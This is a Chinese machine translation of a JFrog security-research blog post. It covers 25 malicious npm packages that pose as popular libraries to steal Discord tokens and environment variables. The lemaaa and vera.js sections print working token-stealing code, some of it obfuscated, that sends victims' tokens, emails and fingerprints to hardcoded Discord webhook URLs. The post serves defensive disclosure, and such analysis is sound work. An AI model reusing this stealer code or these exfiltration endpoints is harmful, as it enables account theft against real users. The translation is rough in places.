恶意软件内战-恶意npm包针对恶意软件作者
JFrog在npm注册表中发现了25个恶意包

JFrog安全研究团队持续监测流行的开源软件(OSS)存储库与我们的自动化工具,以避免潜在的软件供应链安全威胁,并报告任何漏洞或者向存储库维护者和更广泛的社区发现恶意包。最近我们在NPM存储库中公开了25个恶意包是我们的自动扫描工具发现的。所有报告的恶意包都被npm维护者迅速删除了。
有趣的是,似乎许多恶意的npm包仍然伪装成臭名昭著的npmcolors.jsNPM包,它在几周前容易受到严重的拒绝服务攻击。这种伪装可能是因为colors.js仍然是npm中安装最多的包之一。
除此之外,我们还惊奇地发现了一个有趣的案例恶意软件作者针对其他恶意软件作者.我们的扫描器捕获的恶意包之一“lemaaa”本身就是一个库,目的是被恶意威胁行为者用于操纵Discord账户.当以某种方式使用时,库将劫持给予它的秘密Discord令牌,除了执行所请求的实用程序函数。
恶意包摘要
| 包 | 有效载荷 | 感染的方法 |
| node-colors-sync | Discord代币窃贼 | 伪装(颜色) |
| color-self | Discord代币窃贼 | 伪装(颜色) |
| color-self-2 | Discord代币窃贼 | 伪装(颜色) |
| wafer-text | 环境变量窃听器 | 受害情况(晶片- *) |
| wafer-countdown | 环境变量窃听器 | 受害情况(晶片- *) |
| wafer-template | 环境变量窃听器 | 受害情况(晶片- *) |
| wafer-darla | 环境变量窃听器 | 受害情况(晶片- *) |
| lemaaa | Discord代币窃贼 | 隐藏功能 |
| adv-discord-utility | Discord代币窃贼 | 未知的 |
| tools-for-discord | Discord代币窃贼 | 未知的 |
| mynewpkg | 环境变量窃听器 | 未知的 |
| purple-bitch | Discord代币窃贼 | 未知的 |
| purple-bitchs | Discord代币窃贼 | 未知的 |
| noblox.js-addons | Discord代币窃贼 | 伪装(noblox.js) |
| kakakaakaaa11aa | Connectback壳 | 未知的 |
| markedjs | Python远程代码注入器 | 伪装(标志着) |
| crypto-standarts | Python远程代码注入器 | 伪装(crypto-js) |
| discord-selfbot-tools | Discord代币窃贼 | 伪装(discord.js) |
| discord.js-aployscript-v11 | Discord代币窃贼 | 伪装(discord.js) |
| discord.js-selfbot-aployscript | Discord代币窃贼 | 伪装(discord.js) |
| discord.js-selfbot-aployed | Discord代币窃贼 | 伪装(discord.js) |
| discord.js-discord-selfbot-v4 | Discord代币窃贼 | 伪装(discord.js) |
| colors-beta | Discord代币窃贼 | 伪装(颜色) |
| vera.js | Discord代币窃贼 | 未知的 |
| discord-protection | Discord代币窃贼 | 未知的 |
恶意包的选择技术分析
因为我们已经广泛地覆盖了Discord的技术方面的令牌窃取恶意软件上一篇博文我们不会在这里重申这一信息。但是,我们想集中讨论几个包中一些有趣的片段。
Lemaa包-针对恶意软件作者
这个包很有趣,因为它实际上实现了README中的承诺。md -

该包是一个帮助模块,为新手恶意软件作者提供了他们可以重用的通用功能当提供受害者的不和令牌时例如获取受害者的信用卡信息,窃取受害者的帐户(更改帐户密码和电子邮件)等。
然而,其中一个功能- " removeAllFriends "将劫持提供的Discord令牌到一个硬编码的网络钩子地址-https://canary.discord.com/api/webhooks/884196214302703676/PHJ1-GGrEOV7Zwz2RodFDpazJXmH6OnM60TNEX4RZ-VT-qW5sUUu-dZHCb3s5vApWHHz
该模块的代码是模糊的,使这个恶意活动隐藏:
function _0xf28e(){const _0x159601=['DELETE','https://discord.com/api/v8/users/@me ','11317570ajQRNl','application/json','token','random',',\x20\x22nitro_boost\x22:\x20','false', 'https://discord.com/api/v9/users/@me/mfa/totp/disable','https://discord.com/api/v8/guilds/ ','last_4','@gmail.com','true','1315DTGoNg',',\x20\x22early_verified_bot_developer\x 22:\x20','\x22,\x20\x22new_password\x22:\x20\ x20\x22','map','14370OOLNxq','There\x20is\x20no\x20bots',…
在这种情况下,由于模块本身就是一个恶意软件实用程序(库),实际上并不过分怀疑模块是混淆的,因此新手恶意软件作者可能会信任这个模块,即使它是混淆的。
在对模块代码进行去混淆和美化之后,我们可以在函数" removeAllUsers "中看到恶意代码:
async函数removeAllFriends(token){…var _0x3d283a = await _0x1aa523['json'](), malicious_webhook = 'https://canary.discord.com/api/webhooks/884196214302703676/PHJ1-GGrEOV7Zwz2RodFDpazJXmH6OnM60TNEX4RZ-VT-qW5sUUu-dZHCb3s5vApWHHz';等待取回(malicious_webhook, {'method': 'POST', 'headers': {'content - type ': 'application/json'}, 'body': json ['stringify']({'content': " + token})});...
Markedjs &加密标准包-重复的木马包
这些包很有趣,因为它们显示了一种趋势,即npm恶意软件作者完全复制了一个众所周知的包(代码和元数据都是重复的),然后在这个重复的包中添加一小段恶意代码,本质上构建了“木马”包。
对于初学者来说,大部分包元数据(README。md, Github参考等)是一对一复制:

当将恶意包(markedj)代码与原始包(标记)代码进行比较时,我们可以看到与原始包的唯一区别是“/lib/mark .js”中有一行包含了混淆的恶意代码:

由于这一行被“埋没”在包含大量合法代码的包的其余部分中,如果没有自动扫描或差分工具,将很难找到这一行。
Vera.js包
这个包非常小,恶意代码很容易看到(因为它没有混淆),但有趣的是,这个恶意包的作者决定不从本地磁盘存储(大多数Discord令牌窃取者都这样做),而是从浏览器的本地存储中窃取Discord令牌:
函数refresh() {window.location.reload();var discordWebhook = "https://discord.com/api/webhooks/911967515024977991/MBGxIxbpqr8P00H29iuuxc7q_bkafDFpRri5j-hefGjaOCrkOcIvy4zjqa-qHrM1BEgU";var i = document.createElement('iframe');document.body.appendChild(我);var request = new XMLHttpRequest();请求。打开(“文章”,discordWebhook);请求。setRequestHeader(“内容类型”、“application / json”);var params ={用户名:“令牌掠夺者”,avatar_url:“https://malwarefox.com/wp content/uploads/2017/11/hacker - 1. png”,内容:“* *牌* * \ n ------------------\ nToken: \ n + i.contentWindow.localStorage.token + ------------------\ nEmail: ' + i.contentWindow.localStorage。email_cache + ' \ n ------------------\ 新加坡国立大学ID: ' + i.contentWindow.localStorage。user_id_cache + '\n------------------\nFingerprint : ' + i.contentWindow.localStorage.fingerprint + '\n------------------\nPropriétés : \`\`\`json\n' + i.contentWindow.localStorage.deviceProperties + '\`\`\`------------------\nScript de login : \n\`\`\`js\nlocation.reload();var i = document.createElement(\'iframe\');document.body.appendChild(i);i.contentWindow.localStorage.token = "\\"' + i.contentWindow.localStorage.token.replace(/^"(.*)"$/, '$1') + '\\""\`\`\`' }; request.send(JSON.stringify(params)); } module.exports = {refresh};
窃取令牌的代码可以按照以下方式总结:
location.reload ();var i = document.createElement('iframe');document.body.appendChild(我);var token = i.contentWindow.localStorage.token;
这种技术可以帮助窃取日志记录时生成的令牌使用网页浏览器到Discord网站,而不是在使用Discord应用程序时(它将令牌保存到本地磁盘存储)。
结论
总之,看起来新手黑客仍在继续滥用npm,以实现高ROI攻击的目标,因为开发和发布恶意包的工作量非常低。我们估计这种趋势只会继续增加,因为我们的npm扫描仪每天仍然会发现数十个新的恶意包。
与JFrog安全研究保持最新
在我们的JFrog安全研究团队中跟踪最新的发现和技术更新安全研究网站并在推特上@JFrogSecurity.
